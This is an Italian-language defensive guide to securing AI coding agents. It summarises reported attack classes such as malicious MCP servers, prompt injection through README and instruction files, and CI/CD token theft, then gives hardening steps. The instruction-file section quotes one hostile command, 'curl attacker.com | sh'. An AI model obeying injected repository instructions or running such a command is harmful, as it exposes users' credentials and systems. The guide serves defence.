Sicurezza degli agenti di coding AI nel 2026: come proteggere le tue credenziali

Ad aprile 2026, i ricercatori di sicurezza hanno pubblicato una disclosure coordinata che mostrava sei percorsi sfruttabili verso gli agenti Claude Code, GitHub Copilot e OpenAI Codex — ognuno dei quali terminava con lo stesso risultato: credenziali rubate. Gli attaccanti non puntavano ai pesi del modello, ai trucchi di prompt injection o agli scenari apocalittici sull'AGI. Puntavano alle cose a cui gli agenti di coding AI hanno sempre accesso: la tua shell, le tue variabili d'ambiente e le tue CLI autenticate.

Se usi un agente di coding AI su un codebase reale, questo è importante. Questa guida copre cosa è cambiato, quali sono i rischi effettivi e i passi pratici di hardening che fanno la differenza.

Cosa è successo davvero

La disclosure descriveva sei classi di attacco che funzionavano tutti su più importanti agenti di coding AI:

1. Servers MCP malevoli che esfiltravano le variabili d'ambiente quando l'agente si connetteva a essi.
2. Prompt injection tramite file README e dipendenze che inducevano gli agenti a eseguire comandi shell mai approvati dall'utente.
3. Metadati dei pacchetti compromessi (npm, PyPI) dove l'agente eseguiva script post-installazione come parte della “correzione della build”.
4. Iniezione a livello di repository tramite .cursorrules, CLAUDE.md e file simili committati da collaboratori upstream.
5. Abuso degli agenti CI/CD dove gli agenti in esecuzione senza supervisione nelle pipeline avevano i loro token AWS, GCP e GitHub esposti tramite pull request ostili.
6. Canali laterali degli strumenti browser dove gli agenti che pilotavano un browser reale facevano trapelare i cookie di sessione negli screenshot e nei risultati degli strumenti.

Il filo conduttore non è il modello. È il ciclo dell'agente: gli agenti di coding AI hanno un accesso ampio e persistente alla tua macchina, e qualsiasi input che il modello vede può diventare un'istruzione. È un modello di minaccia fondamentalmente diverso da quello di un chatbot in una scheda web.

Chi è a rischio

Valutazione onesta: non tutti coloro che usano un agente di coding AI sono in serio pericolo.

Sei a rischio significativo se:

• Esegui gli agenti in modo non interattivo (CI/CD, GitHub Actions, attività pianificate) con credenziali cloud nell'ambito di esecuzione.
• Collegi server MCP da fonti di cui non ti fidi completamente.
• Consenti agli agenti di lavorare in repository che includono istruzioni AI di terze parti (AGENTS.md, .cursorrules, ecc.) che non hai letto.
• Hai token API a lunga durata (AWS, Stripe, OpenAI, GitHub PAT) salvati in ~/.zshrc, .env o nella cronologia della shell.

Sei a rischio inferiore se:

• Usi gli agenti solo in modo interattivo, approvando ogni comando shell.
• Lavori su progetti personali senza credenziali di produzione sulla tua macchina di sviluppo.
• Ti attieni ai server MCP pubblicati dai fornitori e controlli i file di istruzioni a livello di repository.

Nessun gruppo è sicuro per impostazione predefinita. Il primo gruppo dovrebbe trattare questo aspetto come urgente. Il secondo gruppo dovrebbe considerare i passaggi seguenti come una buona pratica di sicurezza.

Passaggio 1: Riduci ciò a cui l'agente può accedere

La modifica con la leva più alta è ridurre le credenziali disponibili al processo dell'agente durante l'esecuzione.

Sposta i segreti fuori dai file rc della shell. Tutto ciò che è in ~/.zshrc, ~/.bashrc o ~/.profile è nell'ambiente dell'agente dal momento in cui avvia una shell. Sposta i segreti a lunga durata in un gestore di segreti (1Password CLI, pass, AWS Secrets Manager, doppler) e caricali solo nella specifica sessione del terminale in cui ti servono.

Usa credenziali a breve durata. AWS SSO con sessioni da 1 ora, GitHub fine-grained PAT limitati a singoli repository e chiavi Stripe limitate riducono drasticamente il raggio d'azione se un token viene esfiltrato. La finestra tra l'esfiltrazione e la rotazione passa da "settimane" a "minuti".

Esegui gli agenti in un account utente separato o in un container. La soluzione più completa: gli agenti vengono eseguiti come utente dedicato senza accesso alla tua vera ~/.aws, ~/.config/gh o all'archivio dei cookie del browser. Un devcontainer, un volume Docker o una VM leggera funzionano tutti. È eccessivo per progetti hobbistici e un requisito base per tutto ciò che tocca la produzione.

Se vuoi un punto di partenza per scegliere lo strumento giusto, la nostra Guida ai migliori assistenti di coding AI e la Recensione di Claude Code coprono le principali opzioni. Le indicazioni sulla sicurezza seguenti si applicano a tutti.

Passaggio 2: Rafforza la configurazione del tuo server MCP

Il Model Context Protocol ha reso gli agenti di coding AI notevolmente più utili nel 2025–2026, e notevolmente più esposti agli attacchi. Ogni server MCP che colleghi viene eseguito con i tuoi privilegi utente completi e può leggere tutto ciò che legge l'agente.

Un breve elenco di controllo per l’igiene MCP:

Per un contesto più approfondito su come funziona MCP e su cosa può fare, la nostra Guida al Model Context Protocol illustra il protocollo stesso.

Passaggio 3: tratta i file di istruzioni a livello di repository come codice

File come CLAUDE.md, AGENTS.md, .cursorrules, .github/copilot-instructions.md e simili vengono caricati nel contesto dell’agente ogni volta che lavora in quel repository. Sono inoltre modificabili da chiunque abbia accesso in scrittura al repository — inclusi, nei progetti open source, tutti coloro che possono inviare una pull request.

Un file di istruzioni malevolo può:

• Indicare all’agente di eseguire una riga di comando che esfiltra .env.
• Suggerire un hook pre-commit “utile” che carica il codice sorgente.
• Ridefinire i comandi “approvati” includendo curl attacker.com | sh.

La soluzione è semplice: rivedi questi file come faresti con uno script di build. In particolare:

• Tratta le modifiche ai file di istruzioni nelle PR come operazioni sensibili dal punto di vista della sicurezza.
• Aggiungi controlli CI che confrontino CLAUDE.md e file simili e richiedano una revisione umana.
• Per i nuovi repository, leggi ogni file di istruzioni prima di consentire all’agente di eseguire qualsiasi cosa.
• Se il tuo team usa file di istruzioni generati, firmali e verifica la firma.

Passaggio 4: blocca le esecuzioni degli agenti in CI/CD

Il caso CI/CD è di gran lunga il più pericoloso. Un agente in una pipeline ha credenziali cloud, accesso in scrittura al tuo repository e nessun umano che approvi ogni comando. Una singola pull request ostile può compromettere tutto.

Se esegui agenti AI in CI:

Usa OIDC, non segreti a lunga durata. GitHub Actions, GitLab e la maggior parte delle piattaforme CI supportano ormai la federazione OIDC verso AWS, GCP, Azure e HashiCorp Vault. Gli agenti ottengono credenziali a breve durata per ogni esecuzione invece di un segreto permanente nelle variabili CI.

Non eseguire agenti su PR provenienti da fork. Questa è la classica trappola pull_request_target. Le PR da fork possono modificare la configurazione CI o i file di istruzioni; se il tuo agente li legge e li esegue, il fork controlla ora i tuoi segreti.

Limita l’uscita del runner. Blocca le connessioni in uscita dai runner CI verso qualsiasi destinazione, ad eccezione dei tuoi registri di pacchetti, del tuo provider cloud e dell’endpoint API dell’agente. Se le credenziali vengono rubate, l’attaccante non potrà esfiltrarle facilmente.

Approva le esecuzioni dell’agente attivate dalle PR. Richiedi che un maintainer attivi manualmente qualsiasi esecuzione dell’agente che ha accesso ai segreti. Rallentare di un’approvazione umana vale la pena.

Passaggio 5: usa agenti locali quando il rischio lo giustifica

Per i codebase dove una fuga di dati sarebbe catastrofica — algoritmi proprietari, strumenti di sicurezza, settori regolamentati — eseguire l’agente localmente su hardware che controlli tu elimina un’intera classe di rischi.

Gli agenti locali:

• Non inviano il tuo codice a un’API di terze parti.
• Non possono ricevere una risposta malevola da un provider compromesso.
• Non sono soggetti a prompt injection lato provider tramite la telemetria.

Il divario di prestazioni si è ridotto notevolmente. Un modello da 32B su hardware capace ora gestisce la maggior parte delle attività di programmazione in modo ragionevole. La nostra guida Migliori mini PC per eseguire LLM locali copre l’aspetto hardware, mentre Migliori strumenti di IA locali 2026 copre lo stack software.

Non è la risposta giusta per ogni team — un modello frontier è significativamente più intelligente per i compiti difficili — ma per il sottoinsieme sensibile alla sicurezza, nel 2026 è una vera opzione in un modo che non lo era nel 2024.

Passaggio 6: rileva la compromissione più rapidamente

Anche con tutto quanto sopra, dai per scontato che alcune esecuzioni dell’agente andranno storte. L’obiettivo è accorgersene in pochi minuti, non in settimane.

Rilevamenti pratici:

• Avvisi di rotazione delle credenziali. AWS, GitHub e la maggior parte dei provider cloud ti invieranno un’email quando una credenziale viene usata da un nuovo IP o da una nuova area geografica. Attivali.
• Registrazione dell’attività dell’agente. La maggior parte degli agenti supporta i log di audit di ogni chiamata a uno strumento. Inviateli in un posto dove li guardate davvero — un canale Slack va bene per i piccoli team.
• Token esca. Inserisci un AWS_SECRET_ACCESS_KEY falso nel tuo ambiente. Configura una Lambda che ti avvisi nel momento in cui qualcuno prova a usarlo. Se un agente esfiltra mai le variabili d’ambiente, lo saprai in pochi secondi.
• Monitoraggio dell’uscita. Per le macchine di sviluppo che hanno accesso alla produzione, monitora il DNS in uscita per il traffico verso domini evidenti di esfiltrazione (pastebin, transfer.sh, host di file anonimi).

Un modello di minaccia realistico

La maggior parte degli utenti di agenti di programmazione IA nel 2026 non è presa di mira. I rischi realistici sono:

1. Attacchi generici alla supply chain tramite pacchetti npm/PyPI compromessi che l’agente installa durante un’attività ordinaria. L’agente non è il bersaglio — lo sei tu, e l’agente fa sì che l’attacco vada a segno più rapidamente.
2. Iniezione di prompt drive-by tramite file README nei repository open source più diffusi. Sforzo ridotto per l’attaccante, grande impegno per ripulire dopo.
3. Compromissione della CI/CD tramite una pull request malevola, soprattutto in progetti open source con politiche di contribuzione permissive.

Gli attacchi mirati a specifici sviluppatori accadono — sono stati colpiti ricercatori di sicurezza e fondatori di crypto — ma per la maggior parte degli utenti professionali, il percorso di miglioramento è lo stesso: credenziali con durata più breve, meno segreti nell’ambiente circostante e l’abitudine di leggere i file di istruzioni prima di far lavorare l’agente.

La versione breve

Se non fai nient’altro da questo articolo, fai queste quattro cose questa settimana:

1. Sposta i token API a lunga durata da ~/.zshrc e file simili. Usa un secret manager.
2. Passa a credenziali a breve durata (AWS SSO, GitHub fine-grained PAT) ove possibile.
3. Esegui un audit della configurazione del server MCP: fissa le versioni, rimuovi i server che non usi.
4. Leggi ogni file CLAUDE.md, AGENTS.md e .cursorrules nei repository in cui consenti agli agenti di lavorare.

Questo ti mette avanti rispetto al 90% dei team che utilizzano oggi gli agenti di coding AI. Il restante 10% — uso della CI/CD in produzione, settori regolamentati, tutto ciò che ha un blast radius significativo — richiede gli interventi più pesanti dei passaggi 4–6.

Gli agenti di coding AI valgono ancora l’utilizzo. I guadagni di produttività sono reali e il modello di sicurezza non è fondamentalmente rotto — è semplicemente più recente del modello che la maggior parte degli sviluppatori ha in mente. Qualche ora di pulizia oggi ti evita una maratona di rotazione delle credenziali domani.